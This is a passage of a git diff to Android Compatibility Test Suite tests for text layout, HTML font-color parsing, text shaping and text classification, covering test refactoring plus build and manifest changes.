+        <activity android:name="android.text.cts.MockActivity"/>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.text.cts"
-                     android:label="CTS tests of android.text">
+         android:targetPackage="android.text.cts"
+         android:label="CTS tests of android.text">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/tests/text/jni/Android.bp b/tests/tests/text/jni/Android.bp
index 2d32210..7821605 100644
--- a/tests/tests/text/jni/Android.bp
+++ b/tests/tests/text/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_library {
     name: "libctstext_jni",
     sdk_version: "current",
diff --git a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
index 9537243..fa3ed66 100644
--- a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
@@ -19,6 +19,9 @@
 import static android.text.Layout.Alignment.ALIGN_NORMAL;
 import static android.text.Spanned.SPAN_EXCLUSIVE_EXCLUSIVE;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
@@ -69,13 +72,7 @@
     @Before
     public void setup() {
         mDefaultPaint = new TextPaint();
-        mDynamicLayout = new DynamicLayout(MULTLINE_CHAR_SEQUENCE,
-                mDefaultPaint,
-                DEFAULT_OUTER_WIDTH,
-                DEFAULT_ALIGN,
-                SPACING_MULT_NO_SCALE,
-                SPACING_ADD_NO_SCALE,
-                true);
+        mDynamicLayout = createBuilderWithDefaults(MULTLINE_CHAR_SEQUENCE).build();
     }
 
     @Test
@@ -107,8 +104,61 @@
                 true);
     }
 
+    /*
+     * Test the ellipsis result when no ellipsis is needed, for a singleline text.
+     */
     @Test
-    public void testEllipsis() {
+    public void testEllipsis_singlelineNotEllipsized() {
+        final DynamicLayout dynamicLayout = new DynamicLayout(SINGLELINE_CHAR_SEQUENCE,
+                SINGLELINE_CHAR_SEQUENCE,
+                mDefaultPaint,
+                DEFAULT_OUTER_WIDTH,
+                DEFAULT_ALIGN,
+                SPACING_MULT_NO_SCALE,
+                SPACING_ADD_NO_SCALE,
+                true,
+                TextUtils.TruncateAt.START,
+                DEFAULT_OUTER_WIDTH);
+        assertThat(dynamicLayout.getEllipsisCount(LINE0)).isEqualTo(0);
+        assertThat(dynamicLayout.getEllipsisStart(LINE0)).isEqualTo(0);
+        assertThat(dynamicLayout.getEllipsisCount(LINE1)).isEqualTo(0);
+        assertThat(dynamicLayout.getEllipsisStart(LINE1)).isEqualTo(ELLIPSIS_UNDEFINED);
+        assertThat(dynamicLayout.getEllipsizedWidth()).isEqualTo(DEFAULT_OUTER_WIDTH);
+    }
+
+    /*
+     * Test the ellipsis result when no ellipsis is needed, for a multiline text.
+     */
+    @Test
+    public void testEllipsis_multilineNotEllipsized() {
+        final DynamicLayout dynamicLayout = new DynamicLayout(MULTLINE_CHAR_SEQUENCE,
+                MULTLINE_CHAR_SEQUENCE,
+                mDefaultPaint,
+                DEFAULT_OUTER_WIDTH,
+                DEFAULT_ALIGN,
+                SPACING_MULT_NO_SCALE,
+                SPACING_ADD_NO_SCALE,
+                true,
+                TextUtils.TruncateAt.START,
+                DEFAULT_OUTER_WIDTH);
+        assertThat(dynamicLayout.getLineCount()).isEqualTo(3);
+        for (int i = 0; i < LINE3; i++) {
+            assertWithMessage("Ellipsis count for line " + i)
+                    .that(dynamicLayout.getEllipsisCount(i)).isEqualTo(0);
+            assertWithMessage("Ellipsis start for line " + i)
+                    .that(dynamicLayout.getEllipsisStart(i)).isEqualTo(0);
+        }
+        assertThat(dynamicLayout.getEllipsisCount(LINE3)).isEqualTo(0);
+        assertThat(dynamicLayout.getEllipsisStart(LINE3)).isEqualTo(ELLIPSIS_UNDEFINED);
+        assertThat(dynamicLayout.getEllipsizedWidth()).isEqualTo(DEFAULT_OUTER_WIDTH);
+    }
+
+    /*
+     * Test the ellipsis result when no ellipsis is needed, when the display text is different from
+     * the base.
+     */
+    @Test
+    public void testEllipsis_transformedNotEllipsized() {
         final DynamicLayout dynamicLayout = new DynamicLayout(SINGLELINE_CHAR_SEQUENCE,
                 MULTLINE_CHAR_SEQUENCE,
                 mDefaultPaint,
@@ -119,9 +169,16 @@
                 true,
                 TextUtils.TruncateAt.START,
                 DEFAULT_OUTER_WIDTH);
-        assertEquals(0, dynamicLayout.getEllipsisCount(LINE1));
-        assertEquals(ELLIPSIS_UNDEFINED, dynamicLayout.getEllipsisStart(LINE1));
-        assertEquals(DEFAULT_OUTER_WIDTH, dynamicLayout.getEllipsizedWidth());
+        assertThat(dynamicLayout.getLineCount()).isEqualTo(3);
+        for (int i = 0; i < LINE3; i++) {
+            assertWithMessage("Ellipsis count for line " + i)
+                    .that(dynamicLayout.getEllipsisCount(i)).isEqualTo(0);
+            assertWithMessage("Ellipsis start for line " + i)
+                    .that(dynamicLayout.getEllipsisStart(i)).isEqualTo(0);
+        }
+        assertThat(dynamicLayout.getEllipsisCount(LINE3)).isEqualTo(0);
+        assertThat(dynamicLayout.getEllipsisStart(LINE3)).isEqualTo(ELLIPSIS_UNDEFINED);
+        assertThat(dynamicLayout.getEllipsizedWidth()).isEqualTo(DEFAULT_OUTER_WIDTH);
     }
 
     /*
@@ -316,6 +373,32 @@
         assertLineSpecs(expected, dynamicLayout);
     }
 
+    /*
+     * Tests that the ellipsis result, for the case of TruncateAt.START and no ellipsization needed,
+     * isn't affected by a previous ellipsization. This tests the fix for a bug where the static
+     * StaticLayout instance reused internally was not properly reinitialized for this specific
+     * case.
+     */
+    @Test
+    public void testEllipsis_notAffectedByPreviousEllipsization() {
+        // Create an ellipsized DynamicLayout, but throw it away.
+        final String ellipsizedText = "Some arbitrary relatively long text";
+        final DynamicLayout ellipsizedLayout =
+                DynamicLayout.Builder.obtain(ellipsizedText, mDefaultPaint, 1 << 20 /* width */)
+                        .setEllipsize(TextUtils.TruncateAt.END)
+                        .setEllipsizedWidth(2 * (int) mDefaultPaint.getTextSize())
+                        .build();
+        // Make sure it was actually ellipsized.
+        assertThat(ellipsizedLayout.getEllipsisCount(LINE0)).isGreaterThan(0);
+
+        // Create a DynamicLayout that would trigger the bug.
+        final String text = "a\nb";
+        final DynamicLayout dynamicLayout =
+                createBuilderWithDefaults(text).setEllipsize(TextUtils.TruncateAt.START).build();
+
+        assertThat(dynamicLayout.getEllipsisCount(LINE0)).isEqualTo(0);
+    }
+
     @Test
     public void testBuilder_obtain() {
         final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
@@ -405,6 +488,31 @@
         assertNotNull(layout);
     }
 
+    /*
+     * Tests that DynamicLayout accounts for TransformationMethods that can change text length, such
+     * as AllCapsTransformationMethod ("ß" becomes "SS") and TranslationTransformationMethod
+     * (arbitrary length changes).
+     */
+    @Test
+    public void testDisplayTextUsedInsteadOfBase() {
+        DynamicLayout layout =
+                createBuilderWithDefaults(SINGLELINE_CHAR_SEQUENCE)
+                        .setDisplayText(MULTLINE_CHAR_SEQUENCE)
+                        .setEllipsize(TextUtils.TruncateAt.END)
+                        .setEllipsizedWidth(ELLIPSIZE_WIDTH)
+                        .build();
+
+        assertThat(layout.getLineCount()).isEqualTo(TEXT.length);
+
+        assertThat(layout.getLineStart(LINE0)).isEqualTo(0);
+        assertThat(layout.getLineStart(LINE1)).isEqualTo(TEXT[0].length());
+        assertThat(layout.getLineStart(LINE2)).isEqualTo(TEXT[0].length() + TEXT[1].length());
+
+        assertThat(layout.getEllipsisCount(LINE0)).isEqualTo(0);
+        assertThat(layout.getEllipsisCount(LINE1)).isEqualTo(0);
+        assertThat(layout.getEllipsisCount(LINE2)).isGreaterThan(0);
+    }
+
     @Test
     public void testReflow_afterSpanChangedShouldNotThrowException() {
         final SpannableStringBuilder builder = new SpannableStringBuilder("crash crash crash!!");
@@ -421,4 +529,11 @@
         }
     }
 
+    private DynamicLayout.Builder createBuilderWithDefaults(CharSequence base) {
+        final DynamicLayout.Builder builder =
+                DynamicLayout.Builder.obtain(base, mDefaultPaint, DEFAULT_OUTER_WIDTH);
+        return builder.setAlignment(DEFAULT_ALIGN)
+                .setLineSpacing(SPACING_ADD_NO_SCALE, SPACING_MULT_NO_SCALE)
+                .setIncludePad(true);
+    }
 }
diff --git a/tests/tests/text/src/android/text/cts/HtmlTest.java b/tests/tests/text/src/android/text/cts/HtmlTest.java
index 7f785a8..e64e0b3 100644
--- a/tests/tests/text/src/android/text/cts/HtmlTest.java
+++ b/tests/tests/text/src/android/text/cts/HtmlTest.java
@@ -20,7 +20,9 @@
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
 
+import android.graphics.Color;
 import android.graphics.Typeface;
 import android.text.Html;
 import android.text.Layout;
@@ -41,15 +43,17 @@
 import android.text.style.UnderlineSpan;
 
 import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
 
 import org.hamcrest.BaseMatcher;
 import org.hamcrest.Description;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+
 @SmallTest
-@RunWith(AndroidJUnit4.class)
+@RunWith(JUnitParamsRunner.class)
 public class HtmlTest {
     @Test
     public void testSingleTagOnWhileString() {
@@ -104,50 +108,104 @@
         assertEquals(expected, spanned);
     }
 
+    private static Object[] paramsForTestColor() {
+        return new Object[] {
+                new Object[] { "<font color=\"#00FF00\">something</font>", 0xFF00FF00 },
+                new Object[] { "<font color=\"navy\">NAVY</font>", 0xFF000080 },
+                // By default use the color values from android.graphics.Color instead of HTML/CSS
+                new Object[] { "<font color=\"green\">GREEN</font>", 0xFF00FF00 },
+                new Object[] { "<font color=\"gray\">GRAY</font>", 0xFF888888 },
+                new Object[] { "<font color=\"grey\">GREY</font>", 0xFF888888 },
+                new Object[] { "<font color=\"lightgray\">LIGHTGRAY</font>", 0xFFCCCCCC },
+                new Object[] { "<font color=\"lightgrey\">LIGHTGREY</font>", 0xFFCCCCCC },
+                new Object[] { "<font color=\"darkgray\">DARKGRAY</font>", 0xFF444444 },
+                new Object[] { "<font color=\"darkgrey\">DARKGREY</font>", 0xFF444444 },
+                new Object[] { "<font color=\"Black\">BLACK</font>", Color.BLACK },
+                new Object[] { "<font color=\"RED\">red</font>", Color.RED },
+                new Object[] { "<font color=\"bLUE\">blue</font>", Color.BLUE },
+                new Object[] { "<font color=\"yellow\">YELLOW</font>", Color.YELLOW },
+                new Object[] { "<font color=\"CYAN\">cyan</font>", Color.CYAN },
+                new Object[] { "<font color=\"magenta\">magenta</font>", Color.MAGENTA },
+                new Object[] { "<font color=\"AQUA\">AQUA</font>", 0xFF00FFFF },
+                new Object[] { "<font color=\"fuchsia\">FUCHSIA</font>", 0xFFFF00FF },
+                new Object[] { "<font color=\"lime\">LIME</font>", 0xFF00FF00 },
+                new Object[] { "<font color=\"maroon\">MAROON</font>", 0xFF800000 },
+                new Object[] { "<font color=\"puRPLE\">PURPLE</font>", 0xFF800080 },
+                new Object[] { "<font color=\"olive\">OLIVE</font>", 0xFF808000 },
+                new Object[] { "<font color=\"silver\">SILVER</font>", 0xFFC0C0C0 },
+                new Object[] { "<font color=\"teal\">TEAL</font>", 0xFF008080 },
+                new Object[] { "<font color=\"#FFFFFF\">white</font>", 0xFFFFFFFF },
+
+                // Note that while Color.parseColor requires 6 or 8 hex-digit colors (i.e.
+                // #RRGGBB or #AARRGGBB), Html supports 7 or less. (But in a 7 digit hex-digit
+                // color, the first is ignored.)
+                new Object[] { "<font color=\"#00FFF\">something</font>", 0xFF000FFF }, // [23]
+                new Object[] { "<font color=\"#FF\">blue</font>", 0xFF0000FF },
+                new Object[] { "<font color=\"#FFFFFFF\">7 F's</font>", Color.WHITE },
+                new Object[] { "<font color=\"#FF00FF1\">7 hexigits</font>", 0xFFF00FF1 },
+                new Object[] { "<font color=\"#7F00FF1\">7 hexigits</font>", 0xFFF00FF1 },
+
+                new Object[] { "<font color=\"0xFF0000\">red</font>", 0xFFFF0000 },
+                new Object[] { "<font color=\"0\">zero</font>", 0xFF000000 },
+                new Object[] { "<font color=\"01\">little blue</font>", 0xFF000001 },
+                new Object[] { "<font color=\"+02\">positive blue</font>", 0xFF000002 },
+                new Object[] { "<font color=\"16777215\">decimal white</font>", Color.WHITE },
+                new Object[] { "<font color=\"16777214\">almost white</font>", 0xFFFFFFFE },
+
+                // Beyond 3 bytes rolls over, in decimal, octal, or hex.
+                new Object[] { "<font color=\"16777217\">decimal roll over</font>", 0xFF000001 },
+                new Object[] { "<font color=\"0100000007\">octal roll over</font>", 0xFF000007 },
+                new Object[] { "<font color=\"0x1000002\">hex roll over</font>", 0xFF000002 },
+        };
+    }
+
     @Test
-    public void testColor() {
+    @Parameters(method = "paramsForTestColor")
+    public void testColor(String html, int expectedColor) {
         final Class<ForegroundColorSpan> type = ForegroundColorSpan.class;
 
-        Spanned s = Html.fromHtml("<font color=\"#00FF00\">something</font>");
+        Spanned s = Html.fromHtml(html);
         ForegroundColorSpan[] colors = s.getSpans(0, s.length(), type);
-        assertEquals(0xFF00FF00, colors[0].getForegroundColor());
+        if (colors.length == 0) {
+            fail("Failed to create a span from " + html);
+        }
+        int actualColor = colors[0].getForegroundColor();
+        assertEquals("Wrong color for " + html + "\nexpected: 0x"
+                + Integer.toHexString(expectedColor) + "\nactual: 0x"
+                + Integer.toHexString(actualColor), expectedColor, actualColor);
+    }
 
-        s = Html.fromHtml("<font color=\"navy\">NAVY</font>");
-        colors = s.getSpans(0, s.length(), type);
-        assertEquals(0xFF000080, colors[0].getForegroundColor());
+    private static Object[] paramsForTestColorInvalid() {
+        return new Object[]{
+                "<font color=\"gibberish\">something</font>",
+                "<font color=\"WHITE\">doesn't work</font>",
+                "<font color=\"0xFF000000\">alpha not supported</font>",
+                "<font color=\"#88FFFFFF\">another with alpha</font>",
+                "<font color=\"#88FFFFFF00\">too many digits</font>",
+                "<font color=\"0x88FFFFFF00\">too many digits</font>",
+                "<font color=\"08\">not octal</font>",
+                "<font color=\"#GG\">not hex</font>",
+                "<font color=\"#00FF00+\">something</font>",
+                "<font color=\"[]\">brackets</font>",
+                "<font color=\"-01\">negative blue</font>",
+                "<font color=\"4294967000\">too big decimal</font>",
+                "<font color=\"01FFFFFFFF\">too big octal</font>",
+                "<font color=\"#FFFFFFF1\">too big hex</font>",
+        };
+    }
 
-        s = Html.fromHtml("<font color=\"gibberish\">something</font>");
-        colors = s.getSpans(0, s.length(), type);
+    @Test
+    @Parameters(method = "paramsForTestColorInvalid")
+    public void testColorInvalid(String html) {
+        final Class<ForegroundColorSpan> type = ForegroundColorSpan.class;
+
+        Spanned s = Html.fromHtml(html);
+        ForegroundColorSpan[] colors = s.getSpans(0, s.length(), type);
+        if (colors.length > 0) {
+            fail("Expected 0 spans from " + html + ". Got the color 0x"
+                    + Integer.toHexString(colors[0].getForegroundColor()));
+        }
         assertEquals(0, colors.length);
-
-        // By default use the color values from android.graphics.Color instead of HTML/CSS
-        s = Html.fromHtml("<font color=\"green\">GREEN</font>");
-        colors = s.getSpans(0, s.length(), type);
-        assertEquals(0xFF00FF00, colors[0].getForegroundColor());
-
-        s = Html.fromHtml("<font color=\"gray\">GRAY</font>");
-        colors = s.getSpans(0, s.length(), type);
-        assertEquals(0xFF888888, colors[0].getForegroundColor());
-
-        s = Html.fromHtml("<font color=\"grey\">GREY</font>");
-        colors = s.getSpans(0, s.length(), type);
-        assertEquals(0xFF888888, colors[0].getForegroundColor());
-
-        s = Html.fromHtml("<font color=\"lightgray\">LIGHTGRAY</font>");
-        colors = s.getSpans(0, s.length(), type);
-        assertEquals(0xFFCCCCCC, colors[0].getForegroundColor());
-
-        s = Html.fromHtml("<font color=\"lightgrey\">LIGHTGREY</font>");
-        colors = s.getSpans(0, s.length(), type);
-        assertEquals(0xFFCCCCCC, colors[0].getForegroundColor());
-
-        s = Html.fromHtml("<font color=\"darkgray\">DARKGRAY</font>");
-        colors = s.getSpans(0, s.length(), type);
-        assertEquals(0xFF444444, colors[0].getForegroundColor());
-
-        s = Html.fromHtml("<font color=\"darkgrey\">DARKGREY</font>");
-        colors = s.getSpans(0, s.length(), type);
-        assertEquals(0xFF444444, colors[0].getForegroundColor());
     }
 
     @Test
diff --git a/tests/tests/text/src/android/text/cts/TextPaintTest.java b/tests/tests/text/src/android/text/cts/TextPaintTest.java
index b9e770a..d5a6ca1 100644
--- a/tests/tests/text/src/android/text/cts/TextPaintTest.java
+++ b/tests/tests/text/src/android/text/cts/TextPaintTest.java
@@ -81,4 +81,13 @@
         } catch (NullPointerException e) {
         }
     }
+
+    // b/169080922
+    public void testInfinityTextSize_doesntCrash() {
+        Paint paint = new Paint();
+        paint.setTextSize(Float.POSITIVE_INFINITY);
+
+        // Making sure following measureText is not crashing
+        paint.measureText("Hello \uD83D\uDC4B");  // Latin characters and emoji
+    }
 }
diff --git a/tests/tests/text/src/android/text/cts/TextShaperTest.java b/tests/tests/text/src/android/text/cts/TextShaperTest.java
new file mode 100644
index 0000000..b43ef94
--- /dev/null
+++ b/tests/tests/text/src/android/text/cts/TextShaperTest.java
@@ -0,0 +1,240 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.text.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.graphics.Typeface;
+import android.graphics.text.PositionedGlyphs;
+import android.graphics.text.TextRunShaper;
+import android.text.Layout;
+import android.text.SpannableString;
+import android.text.Spanned;
+import android.text.StaticLayout;
+import android.text.TextDirectionHeuristic;
+import android.text.TextDirectionHeuristics;
+import android.text.TextPaint;
+import android.text.TextShaper;
+import android.text.style.AbsoluteSizeSpan;
+import android.text.style.ForegroundColorSpan;
+import android.text.style.TypefaceSpan;
+import android.util.Pair;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TextShaperTest {
+
+    private List<Pair<PositionedGlyphs, TextPaint>> shapeText(CharSequence text, TextPaint paint) {
+        ArrayList<Pair<PositionedGlyphs, TextPaint>> result = new ArrayList<>();
+        TextShaper.shapeText(text, 0, text.length(), TextDirectionHeuristics.LTR, paint,
+                (start, end, glyphs, p) -> {
+                result.add(new Pair(glyphs, new TextPaint(p)));
+            });
+        return result;
+    }
+
+    @Test
+    public void shapeText_noStyle() {
+        // Setup
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(100f);
+        String text = "Hello, World.";
+
+        // Act
+        // If the text is not styled, the result should be equal to TextShaper.shapeTextRun.
+        List<Pair<PositionedGlyphs, TextPaint>> glyphs = shapeText(text, paint);
+        PositionedGlyphs singleStyleResult =
+                TextRunShaper.shapeTextRun(text, 0, text.length(), 0, text.length(), 0f, 0f, false,
+                        paint);
+
+        // Asserts
+        assertThat(glyphs.size()).isEqualTo(1);
+        assertThat(glyphs.get(0).first).isEqualTo(singleStyleResult);
+        assertThat(glyphs.get(0).second.getTextSize()).isEqualTo(100f);
+    }
+
+    @Test
+    public void shapeText_multiStyle() {
+        // Setup
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(100f);
+
+        SpannableString text = new SpannableString("Hello, World.");
+
+        // Act
+        // If the text is not styled, the result should be equal to TextShaper.shapeTextRun.
+        text.setSpan(new AbsoluteSizeSpan(240), 0, 7, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        text.setSpan(new TypefaceSpan("serif"), 7, 13, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        List<Pair<PositionedGlyphs, TextPaint>> result = shapeText(text, paint);
+
+        // Asserts
+        assertThat(result.size()).isEqualTo(2);
+        assertThat(result.get(0).first.getOffsetX()).isEqualTo(0f);
+        assertThat(result.get(1).first.getOffsetX()).isGreaterThan(0f);
+        // Styled text shaper doesn't support vertical layout, so Y origin is always 0
+        assertThat(result.get(0).first.getOffsetY()).isEqualTo(0f);
+        assertThat(result.get(1).first.getOffsetY()).isEqualTo(0f);
+
+
+        // OEM may remove serif font, so expect only when there is a serif font.
+        if (!Typeface.SERIF.equals(Typeface.DEFAULT)) {
+            // The first character should be rendered by default font, Roboto. The last character
+            // should be rendered by serif font.
+            assertThat(result.get(0).first.getFont(0)).isNotEqualTo(result.get(1).first.getFont(0));
+        }
+
+        assertThat(result.get(0).second.getTextSize()).isEqualTo(240f);
+        assertThat(result.get(1).second.getTextSize()).isEqualTo(100f);
+    }
+
+    public void assertSameDrawResult(CharSequence text, TextPaint paint,
+            TextDirectionHeuristic textDir) {
+        // For some reasons, StaticLayout breaks text even if we give the exact the same amount
+        // of width. To avoid unexpected line breaking, adding 10px as a workaround.
+        int width = (int) Math.ceil(Layout.getDesiredWidth(text, paint)) + 10;
+        StaticLayout layout = StaticLayout.Builder.obtain(
+                text, 0, text.length(), paint, width)
+                .setTextDirection(textDir)
+                .setIncludePad(false).build();
+        int height = layout.getHeight();
+
+        // Expected bitmap output
+        Bitmap layoutResult = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        Canvas layoutCanvas = new Canvas(layoutResult);
+        layout.draw(layoutCanvas);
+
+        // actual bitmap output
+        Bitmap glyphsResult = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        Canvas glyphsCanvas = new Canvas(glyphsResult);
+
+        // StaticLayout uses the default font's ascent for baseline
+        Paint.FontMetricsInt fmi = paint.getFontMetricsInt();
+        // In the RTL paragraph, the shape result goes from right to left. StaticLayout
+        // automatically moves the drawing offset to the right most position. We do it by manual.
+        if (textDir.isRtl(text, 0, text.length())) {
+            glyphsCanvas.translate(width, -fmi.ascent);
+        } else {
+            glyphsCanvas.translate(0, -fmi.ascent);
+        }
+
+        // Draws text.
+        TextShaper.shapeText(text, 0, text.length(), textDir, paint,
+                (start, end, glyphs, drawPaint) -> {
+                    for (int i = 0; i < glyphs.glyphCount(); ++i) {
+                        glyphsCanvas.drawGlyphs(
+                                new int[] { glyphs.getGlyphId(i) },
+                                0,
+                                new float[] { glyphs.getGlyphX(i), glyphs.getGlyphY(i) },
+                                0,
+                                1,
+                                glyphs.getFont(i),
+                                drawPaint
+                        );
+                    }
+                });
+        assertThat(glyphsResult.sameAs(layoutResult)).isTrue();
+    }
+
+    @Test
+    public void testDrawConsistencyNoStyle() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        assertSameDrawResult("Hello, Android.", paint, TextDirectionHeuristics.LTR);
+    }
+
+    @Test
+    public void testDrawConsistencyNoStyleMultiFont() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        assertSameDrawResult("こんにちは、Android.", paint, TextDirectionHeuristics.LTR);
+    }
+
+    @Test
+    public void testDrawConsistencyMultiStyle() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        SpannableString text = new SpannableString("こんにちは Android.");
+        text.setSpan(new AbsoluteSizeSpan(32), 3, 8, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        text.setSpan(new ForegroundColorSpan(Color.RED), 5, 10, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        text.setSpan(new TypefaceSpan("serif"), 6, 14, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        assertSameDrawResult(text, paint, TextDirectionHeuristics.LTR);
+    }
+
+    @Test
+    public void testDrawConsistencyBidi() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        assertSameDrawResult("مرحبا, Android.", paint, TextDirectionHeuristics.FIRSTSTRONG_LTR);
+        assertSameDrawResult("مرحبا, Android.", paint, TextDirectionHeuristics.LTR);
+        assertSameDrawResult("مرحبا, Android.", paint, TextDirectionHeuristics.RTL);
+    }
+
+    @Test
+    public void testDrawConsistencyBidi2() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        assertSameDrawResult("Hello, العالمية", paint, TextDirectionHeuristics.FIRSTSTRONG_LTR);
+        assertSameDrawResult("Hello, العالمية", paint, TextDirectionHeuristics.LTR);
+        assertSameDrawResult("Hello, العالمية", paint, TextDirectionHeuristics.RTL);
+    }
+
+    @Test
+    public void testDrawConsistencyBidiMultiStyle() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        SpannableString text = new SpannableString("مرحبا, Android.");
+        text.setSpan(new AbsoluteSizeSpan(32), 3, 8, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        text.setSpan(new ForegroundColorSpan(Color.RED), 5, 10, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        text.setSpan(new TypefaceSpan("serif"), 6, 14, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        assertSameDrawResult(text, paint, TextDirectionHeuristics.FIRSTSTRONG_LTR);
+        assertSameDrawResult(text, paint, TextDirectionHeuristics.LTR);
+        assertSameDrawResult(text, paint, TextDirectionHeuristics.RTL);
+    }
+
+    @Test
+    public void testDrawConsistencyBidi2MultiStyle() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        SpannableString text = new SpannableString("Hello, العالمية");
+        text.setSpan(new AbsoluteSizeSpan(32), 3, 8, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        text.setSpan(new ForegroundColorSpan(Color.RED), 5, 10, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        text.setSpan(new TypefaceSpan("serif"), 6, 14, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        assertSameDrawResult(text, paint, TextDirectionHeuristics.FIRSTSTRONG_LTR);
+        assertSameDrawResult(text, paint, TextDirectionHeuristics.LTR);
+        assertSameDrawResult(text, paint, TextDirectionHeuristics.RTL);
+    }
+}
diff --git a/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java b/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java
index 6d59b6e..5cf565f 100644
--- a/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java
@@ -35,7 +35,8 @@
     public void testConstructor() {
         new EasyEditSpan();
         new EasyEditSpan(PendingIntent.getActivity(
-                InstrumentationRegistry.getTargetContext(), 0, new Intent(), 0));
+                InstrumentationRegistry.getTargetContext(), 0, new Intent(),
+                PendingIntent.FLAG_IMMUTABLE));
 
         Parcel p = Parcel.obtain();
         try {
diff --git a/tests/tests/textclassifier/Android.bp b/tests/tests/textclassifier/Android.bp
index ba7df02..1bd867d 100644
--- a/tests/tests/textclassifier/Android.bp
+++ b/tests/tests/textclassifier/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsTextClassifierTestCases",
     defaults: ["cts_defaults"],
@@ -34,9 +30,14 @@
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "truth-prebuilt",
+        "androidx.test.espresso.core",
+        "androidx.test.ext.junit",
+
     ],
     srcs: [
         "src/**/*.java",
     ],
+    resource_dirs: ["res"],
     sdk_version: "test_current",
+    min_sdk_version: "29",
 }
diff --git a/tests/tests/textclassifier/AndroidManifest.xml b/tests/tests/textclassifier/AndroidManifest.xml
index 2cbbfcf..fc56e05 100644
--- a/tests/tests/textclassifier/AndroidManifest.xml
+++ b/tests/tests/textclassifier/AndroidManifest.xml
@@ -16,10 +16,10 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.view.textclassifier.cts">
+          package="android.view.textclassifier.cts">
 
     <application android:label="TextClassifier TestCase">
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <service
             android:name=".CtsTextClassifierService"
@@ -29,13 +29,15 @@
                 <action android:name="android.service.textclassifier.TextClassifierService"/>
             </intent-filter>
         </service>
+
+        <activity android:name=".TextViewActivity" android:theme="@style/NoAnimation"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.view.textclassifier.cts"
                      android:label="CTS tests of android.view.textclassifier">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+                   android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/tests/textclassifier/QueryTextClassifierServiceActivity/Android.bp b/tests/tests/textclassifier/QueryTextClassifierServiceActivity/Android.bp
index 2120ed3..ad0156f 100644
